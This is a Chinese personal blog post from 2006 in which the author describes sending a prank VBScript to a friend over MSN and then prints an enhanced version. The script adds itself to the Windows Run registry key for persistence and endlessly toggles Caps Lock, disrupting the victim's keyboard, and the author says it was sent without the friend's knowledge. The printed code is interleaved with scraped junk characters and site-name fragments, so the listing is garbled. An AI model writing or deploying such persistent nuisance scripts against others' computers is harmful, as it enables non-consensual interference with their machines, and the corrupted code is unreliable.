一段整人的脚本

上一篇 / 下一篇  2006-08-22 17:23:38 / 天气: 晴朗 / 心情: 高兴 / 个人分类:程序设计

      昨天晚上,1:00上线,MSN列表上只有老俞一个人,然后想整整她,用VBS写了一个脚本传了过去。之后她的键盘就#%@#了,HOHO。在此道歉。很真诚的那种。恩
今天下午,把昨天写的那个脚本又增强了。把它写到启动项里面去了。别人重启也无济于事了。整人脚本如下:
 
 
Set Regwsh=WScript.CreateObject("WScript.Shell")
1_]\5K)X/@ocNe0y0Regwsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Joke_LeYan" ,"C:\1.vbs"
Regwsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\name" , "乐彦到此一游"天空博客LS h2yFxZ
Set file = CreateObject("Scripting.FileSystemObject")天空博客Au n!tKB?
Set MyFile = file.CreateTextFile("c:\1.vbs",True)
E+xf$wI { Lrgn0MyFile.WriteLine("While (1)")
e9Nak z5X1d0MyFile.WriteLine("Dim i")
j+J5F,O*e-x S P }0MyFile.WriteLine("For i=1 TO 999999")
Fw*vA3K"Od$A0MyFile.WriteLine("Next")天空博客 a:Kyt5Wp!bGt0Y `a
MyFile.WriteLine("set WshShell = CreateObject(""WScript.Shell"")")天空博客[A/Xmt"?n$i1E
MyFile.WriteLine("WshShell.SendKeys ""{CAPSLOCK}""")天空博客v q(m6{(TS8dV5NXK
MyFile.WriteLine("Wend")天空博客9QW5O3Jw\
MyFile.Close
5w7J8X;p8Q"Y6R0While (1)天空博客 c"w(LX!]
Dim i天空博客/}&~`:]'ISi
For i=1 TO 999999天空博客`9\3x0UlqE ^RA
Next天空博客S0L x?&P'Ox8S,Y(N\(s
set WshShell = CreateObject("WScript.Shell")天空博客)P4e6y I%oQC.k
WshShell.SendKeys "{CAPSLOCK}"天空博客rBPMj!b jE
Wend
 
 
上述代码保存为*.vbs就可运行
在任务管理器中关闭WScript进程就可关闭。
 
呵呵,没有什么技术含量,纯属无聊之作。HOHO

TAG: 程序设计

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2009-07-05  
   1234
567891011
12131415161718
19202122232425
262728293031 

数据统计

  • 访问量: 14830
  • 日志数: 134
  • 图片数: 1
  • 建立时间: 2006-05-27
  • 更新时间: 2007-05-19

RSS订阅

Open Toolbar